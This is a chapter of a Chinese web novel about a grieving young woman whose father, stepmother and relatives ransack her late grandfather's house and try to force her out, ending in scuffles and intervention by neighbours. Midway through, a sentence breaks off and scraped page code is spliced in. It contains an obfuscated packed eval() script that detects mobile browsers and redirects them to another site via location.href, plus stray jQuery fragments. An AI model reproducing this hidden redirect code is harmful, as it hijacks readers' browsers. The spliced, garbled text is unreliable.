乔斯羽当天傍晚从医院回到家里，当时乔平和章红正在翻看礼金账本。


    乔平见她回来，起身道：“饭菜应该还没冷，搁餐桌上的，先去吃着，等会我来收拾。”


    章红瞧了她一眼，像是关心，又带了几分疏离：“饭还是要吃的，身体要紧，你要是病了，我们可没时间照顾你。”


    乔斯羽没出声，径自回了卧室。可打开门一看，乔飞正在她床上呼呼大睡。


    “你弟弟昨天熬了夜，正补觉呢。”乔平说，“先让他在你这睡会儿，我们那房间好久没住，还得收拾收拾。”


    乔斯羽去卫生间洗了把脸，转身到了餐厅，其实她并没有胃口。但程星还在这，她得陪她吃饭。


    然而往桌子上一看，就两荤一素，一碗番茄汤。简单不说，都是他们吃剩下的，颜色都变了。


    “我们下午也没空，亲戚刚走，就随意做了点。”乔平边解释，边打开冰箱门看了看，“这里面也没什么菜了，要不你们出去吃吧，我来付钱。”


    就在这时，秦朗的母亲罗珊从外面走了进来。


    “斯羽，走，上我们家吃饭去，干妈专门给你熬的鸡汤。”罗珊拉着她往外走，“人是铁饭是钢，哪能不吃饭呢！把身体搞垮了，去住院多遭罪。我还熬了你最爱的鱼片粥，不吃饭喝点粥也行。”


    “你干妈说的对。”乔平附和道，“多少吃点，等我和你妈休整好了，再给你们做好吃的。”


    罗珊都没看他一眼，大步走到院子里，叫上程星，一边拉着一个出了院门。


    章红在客厅里听着外面的动静却没有出去，鼻子哼哧了一声，呛了句出风头的方言。


    乔斯羽被逼着喝了半碗鸡汤，半碗粥。平日里，她最爱吃罗珊做的饭了，可是今天送进嘴里的，全部没有味道。


    吃完饭，她回到自己家里。刚进门，就看到夫妻俩正在爷爷房间里翻箱倒柜。


    放在高处的箱子被他们搬了下来，衣柜里面的衣服被他们拿了出来，抽屉里翻得乱七八糟。


    乔斯羽忍着怒火，弯腰从床底摸出一个铁盒子：“你们是在找这个吗？”她将盒子扔到床上，“这是爷爷留给他孙子的，拿走吧！”


    “我们只是收拾整理一下。”乔平还在解释的同时，章红已经迫不及待地打开盒盖，看到里面的存折，她赶紧拿了出来。


    结果翻开一看，脸色顿时发沉：“就这么点，首付都不够。”


    乔斯羽闻言，火气终于压制不住：“你们不要太过分，爷爷从始至终就不欠你们。倒是你们，只想着从他那里索取。上次爷爷住院的时候是怎么说的，他的抚养任务早就完成了，没有找你们要过一分一毫，也不要你们养老。自己省吃俭用给你们存钱，你们还嫌少，还有没有良心？”


    她算是看清楚了两人的嘴脸，根本不值得尊重，那么好的爷爷，怎么会有这样的儿子儿媳？她只觉的心上一片寒凉。


    “乔斯羽，你有什么资格来说我们？”章红反驳，“要不是你，我们怎么会跟老爷子走到感情生疏的地步？要不是你，我们一家人其乐融融，父慈子孝，过得不知道有多好！我们没有尽孝，你呢，你做了什么？除了花他大半辈子的心血，你又是怎么反馈的？到头来，走的时候身边连个人都没有，还好意思来说我们。”


    乔斯羽听到后面一句话，喉咙发紧，眼圈一下子就红了。


    每每想到爷爷走的时候身边都没个人，心里就跟刀扎一样。他那时会不会很痛苦？是不是很绝望？有没有想到她？


    是啊，她没能好好尽孝，没能好好照顾爷爷，没有重视他的作息，都是她不好。


    乔平和章红拿了存折出去了，乔斯羽一个人待在房间里。她看着床上堆满了乱七八糟的东西，抹了抹眼睛，走上前去收拾。


    常年放在衣柜上的那个木箱子也被夫妻俩给搬了下来，乔斯羽朝里面看了眼，竟然全是她小时候的衣服玩具，还有本子和奖状。


    她坐在地上，一样样地拿来看。那是她美好的童年，是爷爷保存下来的爱。


    内疚，悔恨，悲伤......莫大的痛苦铺天盖地，她哭得无法呼吸，像是要窒息似的。


    程星进来时，看她抱着一件红色棉袄哭到浑身发颤。她慌忙走过去，把她抱进怀里。说什么都毫无意义，她心中的痛无人能感同身受。


    她只能陪着她，陪着她哭，陪着她难受。


    那将是一场漫长的潮湿，痛苦会蔓延到五脏六腑，侵入灵魂深处，有的人需要时间抚慰，有的人选择走出时间。


    程星那段日子寸步不离，就怕她想不开，走哪都跟着。秦朗请了年假，也在家里陪着。他们知道乔斯羽心里承认着什么，那是一根稻草就可以压垮了的脆弱。


    乔平夫妇在家待的那几天把两间常年没用的房间收拾出来，那架势像是要常住。乔斯羽看见他们就烦，问乔平打算在这住多久。


    他支支吾吾的，说过两天就走。两天之后他倒是离开了，可能餐厅那边需要人管，章红和双胞胎留了下来。


    双胞胎每天在家看电影打游戏，大半夜的不睡觉，吵得人神经衰弱。程星性子急，有天晚上说了他们几句。


    兄弟俩说话毫无家教，指责她天天待别人家干什么，有什么资格跑到别人家指手画脚。


    乔斯羽听了他们的话忍无可忍，冲出去大声一吼：“滚，你们都给我滚，这是我家，轮不到你们在这放肆。”


    老大飞飞蹭地一下从沙发里站起来，火气爆棚：“要不要脸？这是我们乔家的地盘，我祖父传下来留给我们后代的，你算哪根葱？”


    乔斯羽从未想过要跟他们争房产，心里也清楚，她没有资格继承，这房子按理的确应该由他们传承。


    但爷爷那次住院时说过，这房子到了他们手里不是败光，就是转手买人。在他们心中，这房子没有任何意义与价值。


    再看到他们这段时间的所作所为，乔斯羽不忍了。


    “我算哪根葱不重要，重要的是这房子是我的，你们没资格在别人家耀武扬威。今天已经很晚了，我就不多说了。明天一早都给我走，我不要再看见你们。”


    话音刚落，一声呵斥在院子里响起：“谁没资格！”


    章红气势汹汹地跨进客厅，黑着脸问：“谁没资格？这是乔家，他们是乔家的血脉，你又是谁！最没资格的就是你。”


    乔斯羽看了她一眼，不想再说废话，直接赶人：“收拾东西，赶紧走人，否则我报警了。”


    “报警？你报呀，马上报！我就不相信了，警察还能把自家人往外赶。”


    程星帮腔：“你们不走的话，就是强占民宅。这房子白纸黑字，归属乔斯羽，警察来了不敢你们赶谁？”


    章红闻言，火气更爆：“你给我闭嘴，关你屁事，天天在我们家待着，自己没家了？跑我们这来管事，你以为你谁呢！”


    “走！”乔斯羽火气爆棚，吼了出来，“你们都给我走！”


    “吵死了。”坐在沙发里的翔翔拿起遥控器，将声音调到最大，电视里正在播放一部枪战片，满耳嘈杂。


    “妈，我饿了，给我煮完面条呗。”飞飞也一屁股坐下来，双脚往茶几上一搁，跟个没教养的混混似的。


    乔斯羽转身就去拔了插头，电视骤然黑屏。


    翔翔正看得起劲，被突然打断，心里直冒火：“你干嘛，有病吧！”他随手拿起旁边的遥控器就给扔了出去。


    遥控器砸到了乔斯羽身上，程星本来在尽力克制，毕竟她一个外人不好插手。但见到这副状况


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579634|172439||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，绷不住了，脾气不允许。


    她捡起遥控器，就朝他身上扔了回去：“没有家教的东西。”


    火苗一触即发，两兄弟站起来就要揍程星，就在这时，外面传来拍门声。


    乔斯羽猜测可能是秦朗，拉着程星就往院子里走。章红不准他俩出去，拦在门口。


    “自家事自己解决，不需要外人插手。”


    乔斯羽推了她一把，那力度并不重，可她却忽然两腿一弯，坐到了地上，哎哟连天的叫着。


    程星冲出去开了院门，秦朗一家三口走了进来。


    那会乔斯羽正被飞飞一把推倒在院子里，秦朗见状，气得几步上前就揪住了他的衣领，给了他一拳头。


    翔翔见哥哥挨打，要去报仇。可刚跨出去一步，就对上了秦朗那双虎视眈眈的双眼，他退缩了。


    章红扶着腰从地上爬起来，嚷嚷着报警：“无法无天了，跑到我们家来揍人，秦朗，你几年书白读了是吧！”


    “报，你赶紧报！”罗珊将乔斯羽从地上扶起来，便给她拍身上的灰边说，“我看警察站在哪边，大晚上的扰民不说，还占着别人的房子作威作福。乔爷爷刚走，你们就开始欺负斯羽，就不怕报应吗？”


    罗珊早就看不惯章红的德行，心疼乔斯羽，说话直，不怕跟她闹翻。


    章红听到报应两个字，扯起嗓子就跟她吵了起来。


    凌晨一点，正是街坊邻居入眠的时候。这边的吵闹声在寂静的夜里格外清晰。不一会功夫，几位爱管闲事的大妈赶了过来。


    乔斯羽都是周围邻居看着长大的，大家自然站在她这边。但表面不像罗珊那样爱憎分明，保持着中立态度，你一言我一句地劝和。


    有人拉着章红进了房间，有人把双胞胎赶回了卧室，这一夜在邻居的调解下总算归于平静。


    次日一早，章红走了，可双胞胎却没有跟着走。晚些时候，家里来了三个男人，章红的弟弟章建和两个侄子。


    他们进屋后，就跟大爷似地窝在沙发里，抽烟喝酒，弄得满屋子乌烟瘴气。


    章建那双眼睛色迷迷的，他本就不是什么好东西，婚前婚后乱搞男女关系，现在就是一个游手好闲的混子。


    当乔斯羽在听到他们说要住下来时，毫不犹豫，径直冲进双胞胎的房间，将他们的行李给扔了出去。


    他们打的什么主意她心里清楚，变着法的赶她走。


    可她也不是那么好惹的，心里本来就不好受，这会儿豁出命了也要解一口恶气。


    但扔出去的行李很快就被捡了回来，双胞胎一人拿了把椅子坐在两间卧室门口不让乔斯羽靠近。


    她朝他们下最后的通牒：“你们再不走，我报警了。”


    “别呀大侄女。”章建嬉皮笑脸地道，“你小的时候我还抱过你呢，怎么说都是一家人，晚上想吃什么，我给你做好吃的。”


    乔斯羽懒得搭理她，拿了手机就准备报警。章建一把从她手里夺了过来，她去抢，却被抓着拉了过去。


    乔斯羽只觉得手上像是沾了什么垃圾东西，恶心至极。


    “你放手！”


    章建不放，反而把他抓得更紧了：“小乖乖现在变成呛口小辣椒了哈，我知道你心里难过，你妈回去忙饭馆的事了，小舅舅在这里陪你几天。”


    乔斯羽挣脱不过，抬脚就踢了过去。


    她那一脚力度不亲，把章建疼得脸都变了形。他气坏了，抬手就要打她。


    就在这时，门口忽然闯进来几个彪形大汉。


    还没等所有人反应过来，院子里的五个男人就被押了出去。他们挣扎来着，但完全不是对手，那几名彪形大汉轻轻松松将人拿捏，给轰到了院门外。


    乔斯羽惊诧，直到看到门口的身影。